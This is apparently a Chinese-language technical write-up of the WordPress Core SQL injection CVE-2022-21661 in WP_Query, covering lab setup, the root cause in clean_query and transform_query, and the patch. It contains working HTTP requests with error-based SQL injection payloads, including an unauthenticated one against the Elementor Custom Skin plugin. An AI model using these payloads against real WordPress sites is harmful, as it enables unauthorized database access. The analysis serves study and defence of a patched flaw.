WordPress Core SQL注入漏洞(CVE-2022–21661)分析

漏洞简介

WP_Query 中存在 SQL 注入漏洞,WP_Query是WordPress提供的一个用于处理复杂SQL查询的类,在WordPress核心框架和插件中使用范围非常广泛,用户可以通过WP_Query 类完成数据库查询操作,方便构建WordPress的输出内容。

受影响版本:WordPress < 5.8.3

环境搭建

下载老版本的 wordpress https://wordpress.org/wordpress-5.8.2.zip,利用 phpstudy 搭建 wordpress

下载并安装插件 Elementor Custom Skin https://downloads.wordpress.org/plugin/ele-custom-skin.zip

打开 wordpress 的 debug 模式

wp-config.php

wKg0C2I8EJiAIXdfAABTZhiUeK4683.png

漏洞复现

wordpress 在连网状态下会自动进行更新,所以最好在断网状态下进行分析利用

插件的利用存在一些问题,所以就先构造漏洞代码进行利用,在 wp-content/themes/twentytwentyone/functions.php 中添加代码

function wp_query_test(){

    $inputData = stripslashes($_POST['data']);
    $jsonDecodeInputData = json_decode($inputData,true);
    $wp = new WP_Query($jsonDecodeInputData);
    wp_die();
}
add_action('wp_ajax_nopriv_test','wp_query_test',0);

构造数据包

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111)+and+extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}

wKg0C2I8EMWARBgnAADxIVGnVus634.png

默认未开启 debug 模式时,可以利用时间盲注

wKg0C2I8EOCAMPZZAADKcNyyjY056.png

漏洞分析

通过存在漏洞的版本与修复漏洞的版本,发现对函数 clean_query 进行了过滤

wKg0C2I8EQiAAju5AAA3llshHsA644.png

添加了 wp_parse_id_list 对 参数 $query['terms'] 的处理,处理为 int 类型

wKg0C2I8ER6AVADIAAAfjt6rY2U932.png

wp-includes/class-wp-tax-query.php/WP_Tax_Query::clean_query

wKg0C2I8ETeAKYeAADc9jYIc1k168.png

在满足一定条件后传入的参数 $query 会到处理函数 transform_query

满足的条件为

  • \$query['taxonomy'] 为空,$query['field'] == 'term_taxonomy_id'

  • taxonomy_exists( $query['taxonomy'] )为true , $query['field']的值也为 true

    wKg0C2I8EpqAA9OCAABSc9hR868152.png

    要同时满足这两条语句都顺利退出 wKg0C2I8EqeAbUn6AABbaZn86Oo833.png

    因为比较是 "==" ,所以如果比较运算符有布尔值参与,就会转换布尔值进行比较,除 '0' 或 ' ' 字符串外,其他字符串对应的值都为 true

wp-includes/class-wp-tax-query.php/WP_Tax_Query::transform_query

wKg0C2I8EsKABOsDAABi3GXsRJY440.png

在函数 transform_query 中,满足 $query['field'] == $resulting_field$query['field'] == $ "term_taxonomy_id" 时,会直接 return,不会对用户输入的可控变量 $query 进行处理。

全局搜索对 clean_query 的调用

wKg0C2I8Et2ASNcZAAAyzMncRGM986.png

搜索之后发现调用仅存在 get_sql_fo_clause 中

wp-includes/class-wp-tax-query.php/WP_Tax_Query::get_sql_for_clause

wKg0C2I8EvSAYRLiAACFnCjvq6U040.png

get_sql_fo_clause 会处理接收到的数据,将这些数据组合成 SQL 查询语句中的条件,最后返回。因为可以控制 clean_query 的返回数据,就可以控制 SQL 语句,我们看到 $term 会被拼接到 where 语句中。

利用 ctrl+alt+h 寻找调用链

wKg0C2I8Ew6ADVqVAAEUuf8FLbQ831.png

WP_Query::__construct
  WP_Query::query
    WP_Query::get_posts
      WP_Tax_Query::get_sql
        WP_Tax_Query::get_sql_clauses
          WP_Tax_Query::get_sql_for_query
            WP_Tax_Query::get_sql_for_clause
              WP_Tax_Query::clean_query

wp-includes/class-wp-query.php/WP_Query::__construct

wKg0C2I8EyWAPNVgAAAacJ7fwc028.png

所以只需要存在 WP_Query($data) 且 data 可控,就可造成 SQL 注入

data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<sqli>"]}}} 

data={"tax_query":{"0":{"taxonomy":"category","field":true,"terms":["<sqli>"]}}}

漏洞插件

利用的是插件 Elementor Custom Skin 是文章 https://www.zerodayinitiative.com/blog/2022/1/18/cve-2021-21661-exposing-database-info-via-wordpress-sql-injection 中提到的插件

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 175

action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111)+and+extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}&ecs_ajax_settings={"max_num_pages":1}

wKg0C2I8EiGAen27AADobmQ4qFU031.png

函数 get_document_data 中存在漏洞触发代码

wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php/ECS_Ajax_Load::get_document_data

wKg0C2I8EjuAIUgzAADdm12GtT0537.png

搜索函数 get_document_data

wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php/ECS_Ajax_Load::init_ajax

wKg0C2I8EkmAYDptAAAztJ6GVt8733.png

发现注册了钩子,在未登录时也可触发访问到函数

wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php/ECS_Ajax_Load::__construct

wKg0C2I8EnuAZMrJAACLDA9a4e4948.png

构造满足条件的 payload 就可以触发实现 SQL 注入

查看原文